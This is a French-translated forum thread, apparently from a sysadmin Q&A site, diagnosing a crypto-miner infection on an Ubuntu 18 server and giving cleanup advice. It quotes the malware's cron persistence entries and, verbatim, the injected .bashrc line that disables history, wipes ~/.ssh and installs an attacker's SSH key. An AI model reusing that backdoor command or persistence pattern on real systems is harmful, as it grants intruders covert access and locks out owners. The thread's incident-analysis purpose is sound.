Strange Cron Job occupe 100% du processeur Ubuntu 18 LTS Server

Je continue de faire apparaître des emplois cron et je n'ai aucune idée de ce qu'ils font. J'émets généralement kill -9 pour les arrêter. Ils occupent 100% de mon processeur et peuvent fonctionner pendant des jours jusqu'à ce que je vérifie. Quelqu'un sait-il ce que cela signifie?

sudo crontab -l
0 0 */3 * * /root/.firefoxcatche/a/upd>/dev/null 2>&1
@reboot /root/.firefoxcatche/a/upd>/dev/null 2>&1
5 8 * * 0 /root/.firefoxcatche/b/sync>/dev/null 2>&1
@reboot /root/.firefoxcatche/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.X13-unix/.rsync/c/aptitude>/dev/null 2>&1

J'exécute le serveur Ubuntu 18 LTS entièrement à jour depuis hier 24/07/2019

MISE À JOUR

J'apprécie tous les commentaires. J'ai déconnecté tous les lecteurs de données et d'applications car la seule chose qui a été affectée était le lecteur du système d'exploitation, j'ai au moins fait ce genre de chose correctement. Je vais avec une reconstruction complète, avec beaucoup plus de sécurité et des méthodes plus sécurisées.

Votre machine est très probablement infectée par un crypto-mineur. Vous pouvez voir quelqu'un d'autre signaler des noms de fichiers et des comportements similaires lors de la détection en temps réel d'une machine virtuelle dans Azure avec Security Center . Voir aussi Mon serveur Ubuntu a un virus ... Je l'ai localisé mais je ne peux pas m'en débarrasser ... sur Reddit.

Vous ne pouvez plus faire confiance à cette machine et devez la réinstaller. Soyez prudent avec la restauration des sauvegardes.

Votre machine a été infectée par une attaque de crypto-mineur. J'ai également fait face à une attaque de ransomware similaire dans le passé et ma base de données a été compromise. J'ai pris un vidage SQL pour la machine et réapprovisionné la machine (car ma machine était une machine virtuelle hébergée sur AWS EC2). J'ai également modifié les groupes de sécurité de la machine pour verrouiller l'accès SSH et les mots de passe modifiés. J'ai également activé la journalisation pour consigner les requêtes et l'exporter vers S3 tous les soirs.

La même chose m'est arrivée et je l'ai remarqué hier. J'ai vérifié le fichier /var/log/sysloget cette IP (185.234.218.40) semblait exécuter automatiquement des cronjobs.

Je l'ai vérifié sur http://whatismyipaddress.com ( https://whatismyipaddress.com/ip/185.234.218.40 ) et il contient des rapports. Ces fichiers ont été édités par le cheval de Troie:

• .bashrc
• .ssh / authorized_keys

J'ai trouvé ceci à la fin de .bashrc(qui est exécuté chaque fois que bash est ouvert):

set +o history
export PATH=/home/user/.bin:$PATH
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~

Il supprime votre authorized_keysfichier, qui est une liste de clés SSH autorisées à se connecter sans mot de passe. Ensuite, il ajoute la clé SSH de l'attaquant:

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr

De plus, j'ai trouvé ce dossier:, /tmp/.X13-unix/.rsyncoù se trouvent tous les logiciels malveillants. J'ai même trouvé un fichier, /tmp/.X13-unix/.rsync/c/ipun fichier contenant 70 000 adresses IP, qui sont probablement d'autres victimes ou serveurs de nœuds.

Il existe 2 solutions: A:

• Ajoutez un pare-feu bloquant toutes les connexions sortantes à l'exception du port 22 et d'autres que vous jugez nécessaires et activez fail2ban, un programme qui interdit une adresse IP après l'échec de X tentatives de mot de passe

• Tuez tous les travaux cron:, ps aux | grep cronpuis tuez le PID qui s'affiche

• Changez votre mot de passe en un mot de passe sécurisé

B:

• Sauvegardez tous les fichiers ou dossiers dont vous avez besoin ou que vous souhaitez

• Réinitialisez le serveur et réinstallez Ubuntu, ou créez directement une nouvelle droplet

  Comme l'a dit Thom Wiggers, vous faites certainement partie d'un botnet de minage de bitcoins, et votre serveur a une porte dérobée . La porte dérobée utilise un exploit perl, un fichier situé ici:, /tmp/.X13-unix/.rsync/b/runcontenant ceci ( https://pastebin.com/ceP2jsUy )

Les dossiers les plus suspects que j'ai trouvés étaient:

• /tmp/.X13-unix/.rsync

• ~/.bashrc (qui a été édité)

• ~/.firefoxcatche

Enfin, il y a un article relatif à la porte arrière Perl ici: https://blog.trendmicro.com/trendlabs-security-intelligence/outlaw-hacking-groups-botnet-observed-spreading-miner-perl-based-backdoor/

J'espère que vous trouvez ça utile.